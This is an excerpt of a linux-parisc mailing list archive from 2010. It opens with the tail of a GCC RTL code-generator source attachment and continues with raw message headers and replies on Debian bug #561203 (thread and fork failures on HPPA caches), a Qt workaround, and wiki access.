DEF_RTL_EXPR(CONST_STRING, "const_string", "s", RTX_OBJ)
DEF_RTL_EXPR(CONST, "const", "e", RTX_CONST_OBJ)
DEF_RTL_EXPR(PC, "pc", "", RTX_OBJ)
DEF_RTL_EXPR(REG, "reg", "i00", RTX_OBJ)
DEF_RTL_EXPR(SCRATCH, "scratch", "0", RTX_OBJ)
DEF_RTL_EXPR(SUBREG, "subreg", "ei", RTX_EXTRA)
DEF_RTL_EXPR(STRICT_LOW_PART, "strict_low_part", "e", RTX_EXTRA)
DEF_RTL_EXPR(CONCAT, "concat", "ee", RTX_OBJ)
DEF_RTL_EXPR(CONCATN, "concatn", "E", RTX_OBJ)
DEF_RTL_EXPR(MEM, "mem", "e0", RTX_OBJ)
DEF_RTL_EXPR(LABEL_REF, "label_ref", "u", RTX_CONST_OBJ)
DEF_RTL_EXPR(SYMBOL_REF, "symbol_ref", "s00", RTX_CONST_OBJ)
DEF_RTL_EXPR(CC0, "cc0", "", RTX_OBJ)
DEF_RTL_EXPR(IF_THEN_ELSE, "if_then_else", "eee", RTX_TERNARY)
DEF_RTL_EXPR(COMPARE, "compare", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(PLUS, "plus", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(MINUS, "minus", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(NEG, "neg", "e", RTX_UNARY)
DEF_RTL_EXPR(MULT, "mult", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(SS_MULT, "ss_mult", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(US_MULT, "us_mult", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(DIV, "div", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(SS_DIV, "ss_div", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(US_DIV, "us_div", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(MOD, "mod", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(UDIV, "udiv", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(UMOD, "umod", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(AND, "and", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(IOR, "ior", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(XOR, "xor", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(NOT, "not", "e", RTX_UNARY)
DEF_RTL_EXPR(ASHIFT, "ashift", "ee", RTX_BIN_ARITH) /* shift left */
DEF_RTL_EXPR(ROTATE, "rotate", "ee", RTX_BIN_ARITH) /* rotate left */
DEF_RTL_EXPR(ASHIFTRT, "ashiftrt", "ee", RTX_BIN_ARITH) /* arithmetic shift right */
DEF_RTL_EXPR(LSHIFTRT, "lshiftrt", "ee", RTX_BIN_ARITH) /* logical shift right */
DEF_RTL_EXPR(ROTATERT, "rotatert", "ee", RTX_BIN_ARITH) /* rotate right */
DEF_RTL_EXPR(SMIN, "smin", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(SMAX, "smax", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(UMIN, "umin", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(UMAX, "umax", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(PRE_DEC, "pre_dec", "e", RTX_AUTOINC)
DEF_RTL_EXPR(PRE_INC, "pre_inc", "e", RTX_AUTOINC)
DEF_RTL_EXPR(POST_DEC, "post_dec", "e", RTX_AUTOINC)
DEF_RTL_EXPR(POST_INC, "post_inc", "e", RTX_AUTOINC)
DEF_RTL_EXPR(PRE_MODIFY, "pre_modify", "ee", RTX_AUTOINC)
DEF_RTL_EXPR(POST_MODIFY, "post_modify", "ee", RTX_AUTOINC)
DEF_RTL_EXPR(NE, "ne", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(EQ, "eq", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(GE, "ge", "ee", RTX_COMPARE)
DEF_RTL_EXPR(GT, "gt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LE, "le", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LT, "lt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(GEU, "geu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(GTU, "gtu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LEU, "leu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LTU, "ltu", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNORDERED, "unordered", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(ORDERED, "ordered", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(UNEQ, "uneq", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(UNGE, "unge", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNGT, "ungt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNLE, "unle", "ee", RTX_COMPARE)
DEF_RTL_EXPR(UNLT, "unlt", "ee", RTX_COMPARE)
DEF_RTL_EXPR(LTGT, "ltgt", "ee", RTX_COMM_COMPARE)
DEF_RTL_EXPR(SIGN_EXTEND, "sign_extend", "e", RTX_UNARY)
DEF_RTL_EXPR(ZERO_EXTEND, "zero_extend", "e", RTX_UNARY)
DEF_RTL_EXPR(TRUNCATE, "truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(FLOAT_EXTEND, "float_extend", "e", RTX_UNARY)
DEF_RTL_EXPR(FLOAT_TRUNCATE, "float_truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(FLOAT, "float", "e", RTX_UNARY)
DEF_RTL_EXPR(FIX, "fix", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_FLOAT, "unsigned_float", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_FIX, "unsigned_fix", "e", RTX_UNARY)
DEF_RTL_EXPR(FRACT_CONVERT, "fract_convert", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_FRACT_CONVERT, "unsigned_fract_convert", "e", RTX_UNARY)
DEF_RTL_EXPR(SAT_FRACT, "sat_fract", "e", RTX_UNARY)
DEF_RTL_EXPR(UNSIGNED_SAT_FRACT, "unsigned_sat_fract", "e", RTX_UNARY)
DEF_RTL_EXPR(ABS, "abs", "e", RTX_UNARY)
DEF_RTL_EXPR(SQRT, "sqrt", "e", RTX_UNARY)
DEF_RTL_EXPR(BSWAP, "bswap", "e", RTX_UNARY)
DEF_RTL_EXPR(FFS, "ffs", "e", RTX_UNARY)
DEF_RTL_EXPR(CLZ, "clz", "e", RTX_UNARY)
DEF_RTL_EXPR(CTZ, "ctz", "e", RTX_UNARY)
DEF_RTL_EXPR(POPCOUNT, "popcount", "e", RTX_UNARY)
DEF_RTL_EXPR(PARITY, "parity", "e", RTX_UNARY)
DEF_RTL_EXPR(SIGN_EXTRACT, "sign_extract", "eee", RTX_BITFIELD_OPS)
DEF_RTL_EXPR(ZERO_EXTRACT, "zero_extract", "eee", RTX_BITFIELD_OPS)
DEF_RTL_EXPR(HIGH, "high", "e", RTX_CONST_OBJ)
DEF_RTL_EXPR(LO_SUM, "lo_sum", "ee", RTX_OBJ)
DEF_RTL_EXPR(VEC_MERGE, "vec_merge", "eee", RTX_TERNARY)
DEF_RTL_EXPR(VEC_SELECT, "vec_select", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(VEC_CONCAT, "vec_concat", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(VEC_DUPLICATE, "vec_duplicate", "e", RTX_UNARY)
DEF_RTL_EXPR(SS_PLUS, "ss_plus", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(US_PLUS, "us_plus", "ee", RTX_COMM_ARITH)
DEF_RTL_EXPR(SS_MINUS, "ss_minus", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(SS_NEG, "ss_neg", "e", RTX_UNARY)
DEF_RTL_EXPR(US_NEG, "us_neg", "e", RTX_UNARY)
DEF_RTL_EXPR(SS_ABS, "ss_abs", "e", RTX_UNARY)
DEF_RTL_EXPR(SS_ASHIFT, "ss_ashift", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(US_ASHIFT, "us_ashift", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(US_MINUS, "us_minus", "ee", RTX_BIN_ARITH)
DEF_RTL_EXPR(SS_TRUNCATE, "ss_truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(US_TRUNCATE, "us_truncate", "e", RTX_UNARY)
DEF_RTL_EXPR(VAR_LOCATION, "var_location", "tei", RTX_EXTRA)
};
#define NUM_RTX_CODE ARRAY_SIZE(defs)

 const char *formats[NUM_RTX_CODE];

 const char *type_from_format	(int);
 const char *accessor_from_format	(int);
 int special_format		(const char *);
 void find_formats		(void);
 void gendecl			(const char *);


 const char *
type_from_format (int c)
{
  switch (c)
    {
    case 'i':
      return "int ";

    case 'w':
      return "HOST_WIDE_INT ";

    case 's':
      return "const char *";

    case 'e':  case 'u':
      return "rtx ";

    case 'E':
      return "rtvec ";
    case 'b':
      return "struct bitmap_head_def *";  /* bitmap - typedef not available */
    case 't':
      return "union tree_node *";  /* tree - typedef not available */
    case 'B':
      return "struct basic_block_def *";  /* basic block - typedef not available */
    default:
      gcc_unreachable ();
    }
}

/* Decode a format letter into the proper accessor function.  */

 const char *
accessor_from_format (int c)
{
  switch (c)
    {
    case 'i':
      return "XINT";

    case 'w':
      return "XWINT";

    case 's':
      return "XSTR";

    case 'e':  case 'u':
      return "XEXP";

    case 'E':
      return "XVEC";

    case 'b':
      return "XBITMAP";

    case 't':
      return "XTREE";

    case 'B':
      return "XBBDEF";

    default:
      gcc_unreachable ();
    }
}


/* Place a list of all format specifiers we use into the array FORMAT.  */

 void
find_formats (void)
{
  unsigned int i;

  for (i = 0; i < NUM_RTX_CODE; i++)
    {
      const char **f;

     if (strchr (defs[i].format, '*') != 0 || strchr (defs[i].format, 'V') != 0 || strchr (defs[i].format, 'S') != 0 || strchr (defs[i].format, 'n') != 0)
       continue;

      for (f = formats; *f; f++)
	if (! strcmp (*f, defs[i].format))
	  break;

      if (*f == 0)
	*f = defs[i].format;
    }
}

/* Write the declarations for the routine to allocate RTL with FORMAT.  */

 void
gendecl (const char *format)
{
  const char *p;
  int i, pos;

  printf ("extern rtx gen_rtx_fmt_%s_stat\t (RTX_CODE, ", format);
  printf ("enum machine_mode mode");

  /* Write each parameter that is needed and start a new line when the line
     would overflow.  */
  for (p = format, i = 0, pos = 75; *p != 0; p++)
    if (*p != '0')
      {
	int ourlen = strlen (type_from_format (*p)) + 6 + (i > 9);

	printf (",");
	if (pos + ourlen > 76)
	  printf ("\n\t\t\t\t      "), pos = 39;

	printf (" %sarg%d", type_from_format (*p), i++);
	pos += ourlen;
      }
}



/* This is the main program.  We accept only one argument, "-h", which
   says we are writing the genrtl.h file.  Otherwise we are writing the
   genrtl.c file.  */

int
main (int argc, char **argv)
{
  find_formats ();

  const char **fmt;


  for (fmt = formats; *fmt; ++fmt)
    gendecl (*fmt);

  return 0;
}

--MP_/gB_c5.Lwoxc/98Zr7iuyfXM--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Modestas Vainius <modestas@vainius.eu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Sun, 6 Jun 2010 04:01:23 +0300
Lines: 58
Approved: news@gmane.org
Message-ID: <201006060401.31700.modestas@vainius.eu>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <4C0850CB.20703@fsij.org> <20100604052106.GC15860@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1341859.vx6RKDSJfl";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1275786175 16056 80.91.229.12 (6 Jun 2010 01:02:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Jun 2010 01:02:55 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>, 561203@bugs.debian.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	deller@gmx.de, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, carlos@systemhalted.org
To: dann frazier <dannf@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 06 03:02:53 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OL4GJ-0004SW-HL
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Jun 2010 03:02:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933836Ab0FFBCt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Jun 2010 21:02:49 -0400
Original-Received: from lan-84-240-22-131.vln.skynet.lt ([84.240.22.131]:2280 "EHLO
	ozas.sytes.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933768Ab0FFBCs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Jun 2010 21:02:48 -0400
Original-Received: from mdxdesktop.ozas.sytes.net ([192.168.0.6])
	by ozas.sytes.net with esmtp (Exim 4.63)
	(envelope-from <modestas@vainius.eu>)
	id 1OL4Fy-0005nj-J8; Sun, 06 Jun 2010 04:02:30 +0300
Original-Received: from localhost ([127.0.0.1] helo=mdxdesktop.localnet)
	by mdxdesktop.ozas.sytes.net with esmtp (Exim 4.72)
	(envelope-from <modestas@vainius.eu>)
	id 1OL4F2-0001Fk-Kk; Sun, 06 Jun 2010 04:01:32 +0300
User-Agent: KMail/1.13.3 (Linux/2.6.34-1-amd64; KDE/4.4.4; x86_64; ; )
In-Reply-To: <20100604052106.GC15860@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2906>

--nextPart1341859.vx6RKDSJfl
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

Hello,

On penktadienis 04 Bir=C5=BEelis 2010 08:21:06 dann frazier wrote:
> > My case and my analysis talked about UP kernel, and John David Anglin
> >=20
> > made a patch:
> > 	http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D561203#144
> >=20
> > After that, the discussion went to SMP cases.
> >=20
> > It would be better to evaluate the patch again, and make sure it works
> > for UP case and fix failures of buildd, then apply for Linux in Debian
> > (only) for HPPA.
> >=20
> > I know that the patch is not that ideal because it touches
> > architecture independent part of Linux, but it is worth for Linux in
> > Debian (or Linux for the HPPA machine of buildd, at least).
>=20
> I'm happy to test the patch if necessary to help push this change
> upstream. However, we do need the change to go upstream before we can
> include it in the Debian kernel.

I made a hackish patch for QProcess in Qt (usleep(1000) before fork()) whic=
h=20
seems to reduce likelihood of the failure to very rare again. Once a new=20
revision of qt4-x11 is uploaded to sid (soon I believe), KDE applications=20
should be able to build again (hopefully).

Obviously it would be better to get this bug fixed for real but at least no=
w=20
the whole KDE stack won't be held by it while we wait.

=2D-=20
Modestas Vainius <modestas@vainius.eu>

--nextPart1341859.vx6RKDSJfl
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEABECAAYFAkwK82QACgkQHO9JRnPq4hTSrwCfdE8oBE0g7nZKkJX4mMgawSrg
W8wAn2SlnbRLATsYGkPdccDenUUASyOq
=Vyi+
-----END PGP SIGNATURE-----

--nextPart1341859.vx6RKDSJfl--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Mon, 7 Jun 2010 11:11:37 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20100607171136.GA14186@lackof.org>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <20100602171600.GA5566@hiauly1.hia.nrc.ca> <20100602175616.GA23219@lackof.org> <201006031150.15725.modestas@vainius.eu> <4C0850CB.20703@fsij.org> <20100604052106.GC15860@lackof.org> <AANLkTiklDMpVgeJp54qcNvMcUp2Ns5lkEpwHxWOnLD8Y@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1275930712 13664 80.91.229.12 (7 Jun 2010 17:11:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Jun 2010 17:11:52 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>,
	Modestas Vainius <modestas@vainius.eu>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	deller@gmx.de, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, carlos@systemhalted.org
To: Thibaut VARENE <varenet@debian.org>, 561203@bugs.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 07 19:11:49 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OLfrY-0007hx-TT
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Jun 2010 19:11:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751435Ab0FGRLr convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jun 2010 13:11:47 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:46289 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750955Ab0FGRLq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jun 2010 13:11:46 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 017FE33E0146;
	Mon,  7 Jun 2010 11:11:46 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id rcf+CXkyroYn; Mon,  7 Jun 2010 11:11:37 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 1012)
	id 1BBF933E0257; Mon,  7 Jun 2010 11:11:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <AANLkTiklDMpVgeJp54qcNvMcUp2Ns5lkEpwHxWOnLD8Y@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2907>

On Fri, Jun 04, 2010 at 12:44:55PM +0200, Thibaut VARENE wrote:
> On Fri, Jun 4, 2010 at 7:21 AM, dann frazier <dannf@debian.org> wrote=
:
> > On Fri, Jun 04, 2010 at 10:03:07AM +0900, NIIBE Yutaka wrote:
> >> Modestas Vainius wrote:
> >>>> Note that Debian's buildds run a UP kernel, so as soon as those =
fixes
> >>>> go upstream we can pull them in. Thanks for all your work here!
> >>>>
> >>>
> >>> Well, as long as this is unfixed or at least "common", I don't se=
e how hppa
> >>> can be considered to be a release arch. Is that UP patch availabl=
e somewhere?
> >>
> >> My case and my analysis talked about UP kernel, and John David Ang=
lin
> >> made a patch:
> >> =A0 =A0 =A0 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D561=
203#144
> >>
> >> After that, the discussion went to SMP cases.
> >>
> >> It would be better to evaluate the patch again, and make sure it w=
orks
> >> for UP case and fix failures of buildd, then apply for Linux in De=
bian
> >> (only) for HPPA.
> >>
> >> I know that the patch is not that ideal because it touches
> >> architecture independent part of Linux, but it is worth for Linux =
in
> >> Debian (or Linux for the HPPA machine of buildd, at least).
> >
> > I'm happy to test the patch if necessary to help push this change
> > upstream. However, we do need the change to go upstream before we c=
an
> > include it in the Debian kernel.
>=20
> Just for reference, I've summarized the test cases and related patche=
s here:
> http://wiki.parisc-linux.org/TestCases

Cool - that is helpful. I've updated the kernel on peri/penalosa with
the various patches listed there that have gone upstream, but I'm not
seeing better results with any failing packages.

btw, I thought it would be useful to edit that page and tag each patch
with its status in Debian (in-official-kernel, installed-on-buildds,
etc), but the page appears to be immutable.

--=20
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#561203: threads and fork on machine with VIPT-WB cache
Date: Mon, 7 Jun 2010 20:27:44 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <9EC4BDAF-7E7D-4EC8-80C3-D755A57D03C8@debian.org>
References: <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <20100602171600.GA5566@hiauly1.hia.nrc.ca> <20100602175616.GA23219@lackof.org> <201006031150.15725.modestas@vainius.eu> <4C0850CB.20703@fsij.org> <20100604052106.GC15860@lackof.org> <AANLkTiklDMpVgeJp54qcNvMcUp2Ns5lkEpwHxWOnLD8Y@mail.gmail.com> <20100607171136.GA14186@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1275935273 399 80.91.229.12 (7 Jun 2010 18:27:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Jun 2010 18:27:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: dann frazier <dannf@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 07 20:27:50 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OLh37-0001c2-M1
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Jun 2010 20:27:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752469Ab0FGS1s convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jun 2010 14:27:48 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:61419 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750894Ab0FGS1s convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jun 2010 14:27:48 -0400
Original-Received: by wyi11 with SMTP id 11so2608843wyi.19
        for <linux-parisc@vger.kernel.org>; Mon, 07 Jun 2010 11:27:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=p4Cz6YmzxmxmkvNNoMFA3SPN8gpoDkZbGbQF0OXjiqA=;
        b=k0HuHUZEx5rjZvv3lv1d0n/ji4OvwmJCY8Z7LdYfolyOnhNIT9K4TqUnvqFe3ETaS6
         8cI3ILAR63xQsLJMhTteKt0F0wU+5MjMMy2C4bIcJf3LZqFh0PcgLVLlLA8ZjR6A2kJq
         VuXwwNI2iv/XbvYj+LmvQsFw7nbd2eapEzNKU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=FFX0fEZ243knlU5zXzqV9h0+Lexdy2D/H2/fRInGj32b9Ru1wAI1m6/nbsl6QcQ7In
         K15jH4Vz5gu5UkuYQ3Dbdsg2MuVd3eWEmbnrMhV7QZrRfIbmPUdrzphEzVaPbD6gR7Jw
         C3RGEYP2Zc/LxqZGvqGfC1ynUsniHsH7pjaX4=
Original-Received: by 10.227.127.79 with SMTP id f15mr10031519wbs.55.1275935266542;
        Mon, 07 Jun 2010 11:27:46 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id l23sm39693211wbb.14.2010.06.07.11.27.45
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 07 Jun 2010 11:27:45 -0700 (PDT)
In-Reply-To: <20100607171136.GA14186@lackof.org>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2908>

Le 7 juin 10 =E0 19:11, dann frazier a =E9crit :

> btw, I thought it would be useful to edit that page and tag each patc=
h
> with its status in Debian (in-official-kernel, installed-on-buildds,
> etc), but the page appears to be immutable.


The wiki can only be edited by registered (and approved) users (we had =
=20
a lot of defacing), see [1] for details.

Please register, I'd be happy to approve your account ;-)

Cheers,
T-Bone

[1] http://wiki.parisc-linux.org/WikiAccessPolicy

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-4.5 -fdelayed-branch strikes back
Date: Mon, 7 Jun 2010 19:29:08 -0400
Organization: nrc.ca
Lines: 42
Approved: news@gmane.org
Message-ID: <20100607232907.GA10176@hiauly1.hia.nrc.ca>
References: <20100604181712.43456ddb@borg.bxl.tuxicoman.be> <20100604193229.473BB515D@hiauly1.hia.nrc.ca> <20100605115808.0ff33504@borg.bxl.tuxicoman.be>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1275953358 3926 80.91.229.12 (7 Jun 2010 23:29:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 7 Jun 2010 23:29:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 08 01:29:16 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OLlkn-0002z8-Bn
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Jun 2010 01:29:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751182Ab0FGX3L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jun 2010 19:29:11 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3030 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750907Ab0FGX3K (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jun 2010 19:29:10 -0400
